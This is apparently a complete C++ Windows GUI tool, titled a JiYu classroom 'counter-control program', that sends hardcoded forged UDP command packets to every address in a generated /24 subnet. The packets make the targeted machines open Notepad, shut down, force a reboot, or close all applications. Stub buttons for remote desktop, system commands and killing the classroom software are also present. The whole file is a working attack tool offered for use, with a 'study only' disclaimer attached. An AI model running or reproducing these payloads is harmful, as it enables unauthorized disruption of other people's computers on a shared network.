// 头文件顺序必须严格遵守(winsock2.h 在前,windows.h 在后)
#include <winsock2.h>
#include <windows.h>
#include <graphics.h>
#include <conio.h>
#include <fstream>
#include <string>
#include <sstream>
#include <vector>
#include <cstdlib>
#include <cstdio>

// 链接winsock库
#pragma comment(lib, "ws2_32.lib")

// 全局变量定义
int selectedFunc = 1;    // 选中的功能(1-打开记事本,2-关机,3-强制重启,4-提示重启,5-关闭所有应用)
int selectedVersion = 4705; // 选中的极域版本(4705-2016,4988-2021,4605-2010)
char ipSegment[50] = "192.168.20.0/24"; // 网段输入
char sendMsg[100] = ""; // 发送消息内容
char sysCmd[100] = "";  // 系统命令内容

// 十六进制字符串转字节数组
void hex2bytes(const std::string& hex, std::vector<BYTE>& bytes) {
    bytes.clear();
    for (size_t i = 0; i < hex.length(); i += 2) {
        std::string byteStr = hex.substr(i, 2);
        BYTE byte = (BYTE)strtol(byteStr.c_str(), NULL, 16);
        bytes.push_back(byte);
    }
}

// 发送UDP数据
bool sendUDP(const char* ip, int port, const std::vector<BYTE>& data) {
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        MessageBox(NULL, "WSA初始化失败!", "错误", MB_OK | MB_ICONERROR);
        return false;
    }

    SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        MessageBox(NULL, "创建Socket失败!", "错误", MB_OK | MB_ICONERROR);
        WSACleanup();
        return false;
    }

    sockaddr_in destAddr;
    destAddr.sin_family = AF_INET;
    destAddr.sin_port = htons(port);
    destAddr.sin_addr.s_addr = inet_addr(ip);

    int ret = sendto(sock, (const char*)&data[0], data.size(), 0, (sockaddr*)&destAddr, sizeof(destAddr));
    if (ret == SOCKET_ERROR) {
        MessageBox(NULL, "发送数据失败!", "错误", MB_OK | MB_ICONERROR);
        closesocket(sock);
        WSACleanup();
        return false;
    }

    closesocket(sock);
    WSACleanup();
    return true;
}

// 读取host.txt中的IP列表
std::vector<std::string> readHosts() {
    std::vector<std::string> ips;
    std::ifstream file("host.txt");
    if (!file.is_open()) {
        MessageBox(NULL, "未找到host.txt文件!\n请先创建并写入目标IP(一行一个)", "错误", MB_OK | MB_ICONERROR);
        return ips;
    }

    std::string ip;
    while (std::getline(file, ip)) {
        // 去除空格和换行
        ip.erase(ip.find_last_not_of(" \r\n") + 1);
        if (!ip.empty()) {
            ips.push_back(ip);
        }
    }
    file.close();
    return ips;
}

// 执行预设功能(核心函数)
void sendHack() {
    // 简化版Payload(完整Payload可替换,此处保留核心结构)
    std::string payloads[] = {
        // 1-打开记事本
        "444d4f43000001006e030000d105ef0f2ea4524fa811eb311b859236204e0000c0a803fe610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c004e004f00540045005000410044002e004500580045000000",
        // 2-关机
        "444d4f43000001002a020000ae405669f33bab44b41006b4ee978d2b204e0000c0a803fe1d0200001d0200000002000000000000140000100f00000001000000000000005965085e065c7351ed95a8608476a18b977b3a67023000000",
        // 3-强制重启
        "444d4f43000001002a02000041d71dd603610f4db08d89c5aaa2b501204e0000c0a814841d0200001d0200000002000000000000130000100f00000001000000000000005965085e065ccd912f54a8608476a18b977b3a67023000000",
        // 4-提示重启
        "444d4f43000001002a02000022a5fc1805afff4680b30072ccdbdd41204e0000c0a814841d0200001d0200000002000000000000130000000f0000000100000000000000d19ea25b065ccd912f54a8608476a18b977b3a67023000000",
        // 5-关闭所有应用
        "444d4f43000001002a020000219362685cfc1743846d5cc258953aa9204e0000c0a814841d0200001d0200000002000000000000020000000f0000000100000000000000d19ea25b065c7351ed95a8608476945e28750b7a8f5e000000"
    };

    std::vector<BYTE> payloadBytes;
    hex2bytes(payloads[selectedFunc-1], payloadBytes);

    std::vector<std::string> ips = readHosts();
    if (ips.empty()) return;

    // C++98兼容:迭代器遍历(替换范围for循环)
    std::vector<std::string>::iterator it;
    for (it = ips.begin(); it != ips.end(); ++it) {
        std::string ip = *it;
        if (sendUDP(ip.c_str(), selectedVersion, payloadBytes)) {
            printf("已向 %s 发送指令(端口:%d)\n", ip.c_str(), selectedVersion);
        }
    }
    MessageBox(NULL, "指令发送完成!", "成功", MB_OK | MB_ICONINFORMATION);
}

// 一键生成IP网段
void saomiao() {
    std::string seg = ipSegment;
    // 去除/24后缀
    std::string::size_type pos = seg.find("/24");
    if (pos != std::string::npos) {
        seg.erase(pos, 3);
    }

    // 分割网段
    std::vector<std::string> parts;
    std::stringstream ss(seg);
    std::string part;
    while (std::getline(ss, part, '.')) {
        parts.push_back(part);
    }

    if (parts.size() != 4) {
        MessageBox(NULL, "网段格式错误!\n示例:192.168.20.0/24", "错误", MB_OK | MB_ICONERROR);
        return;
    }

    std::ofstream file("host.txt", std::ios::trunc); // 清空原有内容
    // C++98兼容:sprintf转换整数为字符串(替换std::to_string)
    char buf[16];
    for (int i = 1; i < 255; i++) {
        sprintf(buf, "%d", i);
        std::string ip = parts[0] + "." + parts[1] + "." + parts[2] + "." + buf;
        file << ip << std::endl;
    }
    file.close();
    MessageBox(NULL, "IP列表生成完成!\n已保存到host.txt", "成功", MB_OK | MB_ICONINFORMATION);
}

// 自定义输入框(替代EasyX的GetInputBox,兼容旧版本)
void MyInputBox(char* outStr, int maxLen, const char* title, const char* prompt) {
    // 创建临时控制台窗口接收输入
    AllocConsole();
    FILE* fp = freopen("CONOUT$", "w", stdout);
    
    printf("%s\n", prompt);
    fgets(outStr, maxLen, stdin);
    
    // 去除换行符
    char* newline = strchr(outStr, '\n');
    if (newline) *newline = '\0';
    
    fclose(fp);
    FreeConsole();
}

// 发送消息(简化版)
void sendMessage() {
    if (selectedVersion == 4605) { // 2010版本不支持
        MessageBox(NULL, "2010版本不支持发送消息!", "提示", MB_OK | MB_ICONWARNING);
        return;
    }
    MessageBox(NULL, "消息发送功能需补充完整Payload后使用", "提示", MB_OK);
}

// 发送系统命令(简化版)
void sendCmd() {
    MessageBox(NULL, "系统命令功能需补充完整Payload后使用", "提示", MB_OK);
}

// 开启远程桌面
void kq_yczm() {
    MessageBox(NULL, "远程桌面功能需补充完整Payload后使用", "提示", MB_OK);
}

// 关闭极域
void lx_kfz() {
    MessageBox(NULL, "关闭极域功能需补充完整Payload后使用", "提示", MB_OK);
}

// 检查更新
void jcgx() {
    MessageBox(NULL, "最新版下载:www.lenglin.xyz(店铺公告)", "检查更新", MB_OK);
}

// 鼠标点击事件处理
void onMouseClick(int x, int y) {
    // 功能选择单选框
    if (x > 50 && x < 150 && y > 105 && y < 130) selectedFunc = 1; // 打开记事本
    if (x > 190 && x < 250 && y > 105 && y < 130) selectedFunc = 2; // 关机
    if (x > 280 && x < 350 && y > 105 && y < 130) selectedFunc = 3; // 强制重启
    if (x > 395 && x < 470 && y > 105 && y < 130) selectedFunc = 4; // 提示重启
    if (x > 515 && x < 620 && y > 105 && y < 130) selectedFunc = 5; // 关闭应用

    // 版本选择单选框
    if (x > 335 && x < 400 && y > 140 && y < 165) selectedVersion = 4605; // 2010
    if (x > 460 && x < 530 && y > 140 && y < 165) selectedVersion = 4705; // 2016
    if (x > 580 && x < 650 && y > 140 && y < 165) selectedVersion = 4988; // 2021

    // 执行按钮
    if (x > 700 && x < 780 && y > 106 && y < 150) sendHack();

    // 一键生成按钮
    if (x > 640 && x < 750 && y > 180 && y < 220) {
        MyInputBox(ipSegment, 50, "输入网段", "请输入生成的网段(192.168.20.0/24):");
        saomiao();
    }

    // 发送消息按钮
    if (x > 90 && x < 150 && y > 425 && y < 470) {
        MyInputBox(sendMsg, 100, "输入消息", "请输入要发送的中文消息:");
        sendMessage();
    }

    // 发送命令按钮
    if (x > 585 && x < 645 && y > 425 && y < 470) {
        MyInputBox(sysCmd, 100, "输入命令", "请输入要执行的系统命令:");
        sendCmd();
    }

    // 开启远程桌面按钮
    if (x > 280 && x < 400 && y > 378 && y < 410) kq_yczm();

    // 关闭极域按钮
    if (x > 310 && x < 400 && y > 315 && y < 345) lx_kfz();

    // 检查更新按钮
    if (x > 310 && x < 400 && y > 440 && y < 470) jcgx();
}

// 绘制界面
void drawUI() {
    // 背景
    setbkcolor(WHITE);
    cleardevice();

    // 标题
    settextcolor(RED);
    setfillcolor(BLUE);
    settextstyle(30, 0, "黑体");
    outtextxy(150, 15, "冷麟极域课堂反控制程序V3.0");

    // 功能选择
    settextcolor(BLUE);
    settextstyle(24, 0, "楷体");
    outtextxy(220, 65, "请选择需要操作的功能:");
    
    settextcolor(RED);
    settextstyle(16, 0, "微软雅黑");
    outtextxy(50, 105, "打开记事本");
    outtextxy(190, 105, "关机");
    outtextxy(280, 105, "强制重启");
    outtextxy(395, 105, "提示重启");
    outtextxy(515, 105, "关闭所有应用程序");

    // 版本选择
    settextcolor(BLUE);
    settextstyle(18, 0, "楷体");
    outtextxy(10, 140, "请选择极域课堂的版本(必选):");
    
    settextcolor(RED);
    settextstyle(14, 0, "微软雅黑");
    outtextxy(335, 140, "2010版本");
    outtextxy(460, 140, "2016版本");
    outtextxy(580, 140, "2021版本");

    // 执行按钮
    setfillcolor(GREEN);
    settextstyle(30, 0, "楷体");
    fillrectangle(700, 106, 780, 150);
    settextcolor(BLACK);
    outtextxy(710, 110, "执行");

    // 一键生成网段
    settextcolor(BLUE);
    settextstyle(18, 0, "楷体");
    outtextxy(10, 190, "请输入生成的网段(192.168.20.0/24):");
    setfillcolor(WHITE);
    fillrectangle(425, 190, 625, 230); // 输入框
    outtextxy(430, 200, ipSegment);
    
    setfillcolor(RED);
    fillrectangle(640, 180, 750, 220);
    settextcolor(WHITE);
    settextstyle(26, 0, "楷体");
    outtextxy(650, 185, "一键生成");

    // 发送消息区域
    settextcolor(BLUE);
    settextstyle(18, 0, "楷体");
    outtextxy(10, 245, "发送信息模块(仅支持中文):");
    outtextxy(70, 280, "2010版不支持!");
    fillrectangle(35, 320, 255, 420); // 输入框
    outtextxy(40, 350, sendMsg);
    
    setfillcolor(GREEN);
    fillrectangle(90, 425, 150, 470);
    settextcolor(BLACK);
    settextstyle(30, 0, "楷体");
    outtextxy(100, 430, "发送");

    // 提示和其他按钮
    settextcolor(RED);
    settextstyle(16, 0, "黑体");
    outtextxy(262, 280, "2021版不支持关闭极域!");
    
    setfillcolor(BLUE);
    fillrectangle(310, 315, 400, 345);
    settextcolor(WHITE);
    settextstyle(24, 0, "楷体");
    outtextxy(315, 320, "关闭极域");

    fillrectangle(280, 378, 400, 410);
    outtextxy(285, 383, "开启远程桌面");

    fillrectangle(310, 440, 400, 470);
    outtextxy(315, 445, "检查更新");

    // 系统命令区域
    settextcolor(BLUE);
    settextstyle(18, 0, "楷体");
    outtextxy(510, 280, "系统命令模块:");
    fillrectangle(515, 320, 773, 420); // 输入框
    outtextxy(520, 350, sysCmd);
    
    setfillcolor(GREEN);
    fillrectangle(585, 425, 645, 470);
    settextcolor(BLACK);
    settextstyle(30, 0, "楷体");
    outtextxy(595, 430, "发送");

    // 注意事项
    settextcolor(GREEN);
    setfillcolor(YELLOW);
    settextstyle(16, 0, "黑体");
    outtextxy(40, 510, "请在此目录下创建一个host.txt文件存放目标ip!一键生成只支持24位掩码!");
    outtextxy(148, 540, "一行一个,不要有空格!每个模块15秒可执行一次!");
    
    settextcolor(RED);
    settextstyle(20, 0, "黑体");
    outtextxy(1, 575, "此软件仅用于学习交流使用!不得用于任何非法或恶意破坏使用!");
    outtextxy(80, 610, "造成的后果由使用者自行承担!与软件开发者无关!");
}

int main() {
    // 创建图形窗口
    initgraph(820, 655);
    
    ExMessage msg;
    while (true) {
        // 监听鼠标点击事件(替代setmousecallback,兼容旧版EasyX)
        if (peekmessage(&msg, EM_MOUSE)) {
            if (msg.message == WM_LBUTTONDOWN) {
                onMouseClick(msg.x, msg.y);
            }
        }
        
        drawUI();
        
        // ESC键退出
        if (_kbhit() && _getch() == 27) break;
        
        Sleep(10);
    }

    closegraph();
    return 0;
}